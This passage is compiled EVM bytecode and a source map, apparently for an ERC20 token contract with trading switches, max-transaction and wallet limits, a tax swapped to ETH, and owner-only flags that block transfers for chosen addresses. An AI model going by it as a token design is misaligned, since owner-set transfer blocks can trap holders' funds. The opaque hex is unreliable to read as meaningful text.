0000000000000000000000000081526004016119b790613093565b60405180910390fd5b8060098190555050565b6119d2611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613093565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae39061353e565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60149054906101000a900460ff1681565b611b62611c4a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613093565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb8906135d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2790613662565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e0e9190612ecf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e81906136f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090613786565b60405180910390fd5b60008111611f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3390613818565b60405180910390fd5b6000611f46611480565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611fb45750611f84611480565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561249a57600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561205d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61206657600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061210f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561215a57600b54421015612159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215090613884565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122055750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561225b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612344576009548211156122a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229c906138f0565b60405180910390fd5b600a54826122b285611015565b6122bc91906132a2565b11156122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f49061395c565b60405180910390fd5b612325606461231760065485612a8990919063ffffffff16565b612b0390919063ffffffff16565b90506008600081548092919061233a9061397c565b9190505550612499565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123cd57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124235750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124985760095482111561246d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612464906138f0565b60405180910390fd5b612495606461248760075485612a8990919063ffffffff16565b612b0390919063ffffffff16565b90505b5b5b600081111561259e576124f581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125959190612ecf565b60405180910390a35b6125f082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126976126498284612bab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61273c8486612bab90919063ffffffff16565b6040516127499190612ecf565b60405180910390a350505050565b600083831115829061279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127969190612d78565b60405180910390fd5b50600083856127ae91906139c4565b9050809150509392505050565b6000810315612a1a57600d60149054906101000a900460ff1615612a1a576000600267ffffffffffffffff8111156127f6576127f56139f8565b5b6040519080825280602002602001820160405280156128245781602001602082028036833780820191505090505b509050308160008151811061283c5761283b613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129079190613a6b565b8160018151811061291b5761291a613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061298230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c52565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016129e6959493929190613b91565b600060405180830381600087803b158015612a0057600080fd5b505af1158015612a14573d6000803e3d6000fd5b50505050505b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a85573d6000803e3d6000fd5b5050565b6000808303612a9b5760009050612afd565b60008284612aa99190613260565b9050828482612ab89190613c1a565b14612af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aef90613cbd565b60405180910390fd5b809150505b92915050565b6000612b4583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bf5565b905092915050565b6000808284612b5c91906132a2565b905083811015612ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9890613d29565b60405180910390fd5b8091505092915050565b6000612bed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612757565b905092915050565b60008083118290612c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c339190612d78565b60405180910390fd5b5060008385612c4b9190613c1a565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8882612c5d565b9050919050565b612c9881612c7d565b8114612ca357600080fd5b50565b600081359050612cb581612c8f565b92915050565b600060208284031215612cd157612cd0612c58565b5b6000612cdf84828501612ca6565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d22578082015181840152602081019050612d07565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d4a82612ce8565b612d548185612cf3565b9350612d64818560208601612d04565b612d6d81612d2e565b840191505092915050565b60006020820190508181036000830152612d928184612d3f565b905092915050565b6000819050919050565b612dad81612d9a565b8114612db857600080fd5b50565b600081359050612dca81612da4565b92915050565b60008060408385031215612de757612de6612c58565b5b6000612df585828601612ca6565b9250506020612e0685828601612dbb565b9150509250929050565b60008115159050919050565b612e2581612e10565b82525050565b6000602082019050612e406000830184612e1c565b92915050565b6000819050919050565b6000612e6b612e66612e6184612c5d565b612e46565b612c5d565b9050919050565b6000612e7d82612e50565b9050919050565b6000612e8f82612e72565b9050919050565b612e9f81612e84565b82525050565b6000602082019050612eba6000830184612e96565b92915050565b612ec981612d9a565b82525050565b6000602082019050612ee46000830184612ec0565b92915050565b600080600060608486031215612f0357612f02612c58565b5b6000612f1186828701612ca6565b9350506020612f2286828701612ca6565b9250506040612f3386828701612dbb565b9150509250925092565b600060208284031215612f5357612f52612c58565b5b6000612f6184828501612dbb565b91505092915050565b600060ff82169050919050565b612f8081612f6a565b82525050565b6000602082019050612f9b6000830184612f77565b92915050565b612faa81612c7d565b82525050565b6000602082019050612fc56000830184612fa1565b92915050565b6000612fd682612c5d565b9050919050565b612fe681612fcb565b82525050565b60006020820190506130016000830184612fdd565b92915050565b6000806040838503121561301e5761301d612c58565b5b600061302c85828601612ca6565b925050602061303d85828601612ca6565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061307d602083612cf3565b915061308882613047565b602082019050919050565b600060208201905081810360008301526130ac81613070565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561313957808604811115613115576131146130b3565b5b60018516156131245780820291505b8081029050613132856130e2565b94506130f9565b94509492505050565b600082613152576001905061320e565b81613160576000905061320e565b81600181146131765760028114613180576131af565b600191505061320e565b60ff841115613192576131916130b3565b5b8360020a9150848211156131a9576131a86130b3565b5b5061320e565b5060208310610133831016604e8410600b84101617156131e45782820a9050838111156131df576131de6130b3565b5b61320e565b6131f184848460016130ef565b92509050818404811115613208576132076130b3565b5b81810290505b9392505050565b600061322082612d9a565b915061322b83612f6a565b92506132587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613142565b905092915050565b600061326b82612d9a565b915061327683612d9a565b925082820261328481612d9a565b9150828204841483151761329b5761329a6130b3565b5b5092915050565b60006132ad82612d9a565b91506132b883612d9a565b92508282019050808211156132d0576132cf6130b3565b5b92915050565b7f4163636f756e74206973206e6f742065786c6375646564000000000000000000600082015250565b600061330c601783612cf3565b9150613317826132d6565b602082019050919050565b6000602082019050818103600083015261333b816132ff565b9050919050565b7f4e6f7420656e6f7567682076616c756500000000000000000000000000000000600082015250565b6000613378601083612cf3565b915061338382613342565b602082019050919050565b600060208201905081810360008301526133a78161336b565b9050919050565b7f4e6f2062616c616e636520746f20776974686472617700000000000000000000600082015250565b60006133e4601683612cf3565b91506133ef826133ae565b602082019050919050565b60006020820190508181036000830152613413816133d7565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613450601783612cf3565b915061345b8261341a565b602082019050919050565b6000602082019050818103600083015261347f81613443565b9050919050565b7f4e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006134bc600e83612cf3565b91506134c782613486565b602082019050919050565b600060208201905081810360008301526134eb816134af565b9050919050565b7f4163636f756e7420616c7265616479206578636c756465640000000000000000600082015250565b6000613528601883612cf3565b9150613533826134f2565b602082019050919050565b600060208201905081810360008301526135578161351b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135ba602483612cf3565b91506135c58261355e565b604082019050919050565b600060208201905081810360008301526135e9816135ad565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061364c602283612cf3565b9150613657826135f0565b604082019050919050565b6000602082019050818103600083015261367b8161363f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136de602583612cf3565b91506136e982613682565b604082019050919050565b6000602082019050818103600083015261370d816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613770602383612cf3565b915061377b82613714565b604082019050919050565b6000602082019050818103600083015261379f81613763565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613802602983612cf3565b915061380d826137a6565b604082019050919050565b60006020820190508181036000830152613831816137f5565b9050919050565b7f54726164696e672069732063757272656e746c79206f66660000000000000000600082015250565b600061386e601883612cf3565b915061387982613838565b602082019050919050565b6000602082019050818103600083015261389d81613861565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006138da601983612cf3565b91506138e5826138a4565b602082019050919050565b60006020820190508181036000830152613909816138cd565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613946601a83612cf3565b915061395182613910565b602082019050919050565b6000602082019050818103600083015261397581613939565b9050919050565b600061398782612d9a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036139b9576139b86130b3565b5b600182019050919050565b60006139cf82612d9a565b91506139da83612d9a565b92508282039050818111156139f2576139f16130b3565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613a6581612c8f565b92915050565b600060208284031215613a8157613a80612c58565b5b6000613a8f84828501613a56565b91505092915050565b6000819050919050565b6000613abd613ab8613ab384613a98565b612e46565b612d9a565b9050919050565b613acd81613aa2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613b0881612c7d565b82525050565b6000613b1a8383613aff565b60208301905092915050565b6000602082019050919050565b6000613b3e82613ad3565b613b488185613ade565b9350613b5383613aef565b8060005b83811015613b84578151613b6b8882613b0e565b9750613b7683613b26565b925050600181019050613b57565b5085935050505092915050565b600060a082019050613ba66000830188612ec0565b613bb36020830187613ac4565b8181036040830152613bc58186613b33565b9050613bd46060830185612fa1565b613be16080830184612ec0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c2582612d9a565b9150613c3083612d9a565b925082613c4057613c3f613beb565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ca7602183612cf3565b9150613cb282613c4b565b604082019050919050565b60006020820190508181036000830152613cd681613c9a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613d13601b83612cf3565b9150613d1e82613cdd565b602082019050919050565b60006020820190508181036000830152613d4281613d06565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201aa8ec4cca3b9a0bf70bb0b35c597f8ace25758fbf00ff588d48d52c6763aabb64736f6c63430008120033

Deployed Bytecode Sourcemap

4234:8829:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12096:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5675:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6581:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5952:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6782:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10543:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4666:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5861:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10950:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10128:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11559:195;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5141:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4599:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12629:431;;;;;;;;;;;;;:::i;:::-;;11249:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5214:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6055:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3186:148;;;;;;;;;;;;;:::i;:::-;;10264:162;;;;;;;;;;;;;:::i;:::-;;4926:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12400:221;;;;;;;;;;;;;:::i;:::-;;10856:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2972:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4986:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5766:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4551:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6182:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11762:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4632:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10764:84;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6389:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12220:172;;;;;;;;;;;;;:::i;:::-;;5048:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10434:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11358:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5176:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11088:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12096:116;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12199:4:::1;12172:16;;:32;;;;;;;;;;;;;;;;;;12096:116:::0;:::o;5675:83::-;5712:13;5745:5;;;;;;;;;;;;;;;;;5738:12;;5675:83;:::o;6581:193::-;6683:4;6705:39;6714:12;:10;:12::i;:::-;6728:7;6737:6;6705:8;:39::i;:::-;6762:4;6755:11;;6581:193;;;;:::o;5093:41::-;;;;;;;;;;;;;:::o;5952:95::-;6005:7;4738:2;4794;:13;;;;:::i;:::-;4782:9;:25;;;;:::i;:::-;6025:14;;5952:95;:::o;6782:446::-;6914:4;6931:36;6941:6;6949:9;6960:6;6931:9;:36::i;:::-;6978:220;7001:6;7022:12;:10;:12::i;:::-;7049:138;7105:6;7049:138;;;;;;;;;;;;;;;;;:11;:19;7061:6;7049:19;;;;;;;;;;;;;;;:33;7069:12;:10;:12::i;:::-;7049:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;6978:8;:220::i;:::-;7216:4;7209:11;;6782:446;;;;;:::o;10543:107::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10635:7:::1;10618:14;:24;;;;10543:107:::0;:::o;4666:28::-;;;;:::o;5861:83::-;5902:5;4738:2;5920:16;;5861:83;:::o;10950:86::-;10997:4;11021;:7;11026:1;11021:7;;;;;;;;;;;;;;;;;;;;;;;;;11014:14;;10950:86;;;:::o;10128:128::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10243:5:::1;10225:15;:23;;;;:::i;:::-;10201:21;:47;;;;10128:128:::0;:::o;11559:195::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11645:18:::1;:27;11664:7;11645:27;;;;;;;;;;;;;;;;;;;;;;;;;11637:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11741:5;11711:18;:27;11730:7;11711:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;11559:195:::0;:::o;5141:28::-;;;;;;;;;;;;;:::o;4599:26::-;;;;:::o;12629:431::-;12695:16;;;;;;;;;;;12679:32;;:12;:10;:12::i;:::-;:32;;;12671:41;;;;;;12723:20;12746:24;12764:4;12746:9;:24::i;:::-;12723:47;;12800:1;12785:12;:16;12781:79;;;12818:30;12835:12;12818:16;:30::i;:::-;12781:79;12870:18;12891:21;12870:42;;12940:1;12927:10;:14;12923:130;;;12958:24;12971:10;12958:12;:24::i;:::-;12923:130;;;13015:26;;;;;;;;;;:::i;:::-;;;;;;;;12923:130;12660:400;;12629:431::o;11249:101::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11337:5:::1;11318:4;:16;11323:10;11318:16;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;11249:101:::0;:::o;5214:31::-;;;;;;;;;;;;;:::o;6055:119::-;6121:7;6148:9;:18;6158:7;6148:18;;;;;;;;;;;;;;;;6141:25;;6055:119;;;:::o;3186:148::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3293:1:::1;3256:40;;3277:6;::::0;::::1;;;;;;;;3256:40;;;;;;;;;;;;3324:1;3307:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3186:148::o:0;10264:162::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4738:2:::1;4794;:13;;;;:::i;:::-;4782:9;:25;;;;:::i;:::-;10318:12;:22;;;;4738:2;4794;:13;;;;:::i;:::-;4782:9;:25;;;;:::i;:::-;10351:14;:24;;;;10391:27;4738:2;4794;:13;;;;:::i;:::-;4782:9;:25;;;;:::i;:::-;10391:27;;;;;;:::i;:::-;;;;;;;;10264:162::o:0;4926:53::-;;;;:::o;12400:221::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12461:15:::1;12479:24;12497:4;12479:9;:24::i;:::-;12461:42;;12532:1;12522:7;:11;12514:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;12571:42;12589:4;12596:7;:5;:7::i;:::-;12605;12571:9;:42::i;:::-;12450:171;12400:221::o:0;10856:86::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10930:4:::1;10920:7;:14;;;;10856:86:::0;:::o;2972:79::-;3010:7;3037:6;;;;;;;;;;;3030:13;;2972:79;:::o;4986:55::-;;;;:::o;5766:87::-;5805:13;5838:7;;;;;;;;;;;;;;;;;5831:14;;5766:87;:::o;4551:39::-;;;;;;;;;;;;;:::o;6182:199::-;6287:4;6309:42;6319:12;:10;:12::i;:::-;6333:9;6344:6;6309:9;:42::i;:::-;6369:4;6362:11;;6182:199;;;;:::o;11762:289::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11856:11:::1;;;;;;;;;;;11855:12;11847:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;11922:7;11906:13;;:23;;;;;;;;;;;;;;;;;;11977:7;11940:15;;:45;;;;;;;;;;;;;;;;;;12010:4;11996:11;;:18;;;;;;;;;;;;;;;;;;12039:4;12025:11;;:18;;;;;;;;;;;;;;;;;;11762:289:::0;;:::o;4632:27::-;;;;:::o;10764:84::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10836:4:::1;10827:6;:13;;;;10764:84:::0;:::o;6389:184::-;6506:7;6538:11;:18;6550:5;6538:18;;;;;;;;;;;;;;;:27;6557:7;6538:27;;;;;;;;;;;;;;;;6531:34;;6389:184;;;;:::o;12220:172::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12305:1:::1;12281:21;:25;12273:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;12344:7;:5;:7::i;:::-;12336:25;;:48;12362:21;12336:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;12220:172::o:0;5048:36::-;;;;:::o;10434:101::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10520:7:::1;10505:12;:22;;;;10434:101:::0;:::o;11358:193::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11442:18:::1;:27;11461:7;11442:27;;;;;;;;;;;;;;;;;;;;;;;;;11441:28;11433:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;11539:4;11509:18;:27;11528:7;11509:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;11358:193:::0;:::o;5176:31::-;;;;;;;;;;;;;:::o;11088:97::-;3109:12;:10;:12::i;:::-;3099:22;;:6;;;;;;;;;;:22;;;3091:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11173:4:::1;11154;:16;11159:10;11154:16;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;11088:97:::0;:::o;512:98::-;565:7;592:10;585:17;;512:98;:::o;7236:369::-;7380:1;7363:19;;:5;:19;;;7355:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7461:1;7442:21;;:7;:21;;;7434:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7543:6;7513:11;:18;7525:5;7513:18;;;;;;;;;;;;;;;:27;7532:7;7513:27;;;;;;;;;;;;;;;:36;;;;7581:7;7565:32;;7574:5;7565:32;;;7590:6;7565:32;;;;;;:::i;:::-;;;;;;;;7236:369;;;:::o;7613:1902::-;7751:1;7735:18;;:4;:18;;;7727:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7828:1;7814:16;;:2;:16;;;7806:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7898:1;7889:6;:10;7881:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7956:17;8000:7;:5;:7::i;:::-;7992:15;;:4;:15;;;;:32;;;;;8017:7;:5;:7::i;:::-;8011:13;;:2;:13;;;;7992:32;7988:1154;;;8050:4;:10;8055:4;8050:10;;;;;;;;;;;;;;;;;;;;;;;;;8049:11;:24;;;;;8065:4;:8;8070:2;8065:8;;;;;;;;;;;;;;;;;;;;;;;;;8064:9;8049:24;8041:33;;;;;;8101:13;;;;;;;;;;;8093:21;;:4;:21;;;:44;;;;8124:13;;;;;;;;;;;8118:19;;:2;:19;;;8093:44;8089:223;;;8207:21;;8188:15;:40;;8158:138;;;;;;;;;;;;:::i;:::-;;;;;;;;;8089:223;8358:13;;;;;;;;;;;8350:21;;:4;:21;;;